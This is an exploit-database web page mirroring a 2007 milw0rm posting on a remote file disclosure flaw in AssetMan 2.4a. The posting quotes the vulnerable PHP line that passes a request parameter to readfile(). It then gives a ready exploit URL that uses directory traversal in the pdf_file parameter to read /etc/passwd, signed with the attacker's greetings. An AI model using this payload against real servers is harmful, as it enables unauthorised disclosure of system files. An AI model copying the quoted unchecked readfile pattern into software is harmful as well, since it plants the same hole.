AssetMan 2.4a - exploit.company

vendor:

AssetMan

by:

BorN To K!LL

5.5

CVSS

MEDIUM

Remote File Disclosure

CWE

Product Name: AssetMan

Affected Version From: 2.4a

Affected Version To: 2.4a

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability

The download_pdf.php script in AssetMan 2.4a allows remote attackers to read arbitrary files via a .. (dot dot) in the pdf_file parameter.

Mitigation:

Update to a patched version of AssetMan.

Source

Exploit-DB raw data:

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|AssetMan 2.4a <= (download_pdf.php) Remote File Disclosure Vulnerability
|
|Script: AssetMan
|
|Verson: 2.4a
|
|URL: http://www.bctree.com/~assetman/assetman-2.4a.zip
|
|Discover: BorN To K!LL
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|Bug in:
|download_pdf.php
|
|Code:
|readfile($_GET["pdf_file"]);
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|ExploiT:
|~~~~~
|wWw.SiTe.cOm/[path]/download_pdf.php?pdf_file=../../../../etc/passwd
|
|+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
|
|GreeTz 2:
|Dr.2 - str0ke - AsbMay .....
|
|KuW SeC .... AsbMay's Group ....
|
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

# milw0rm.com [2007-03-11]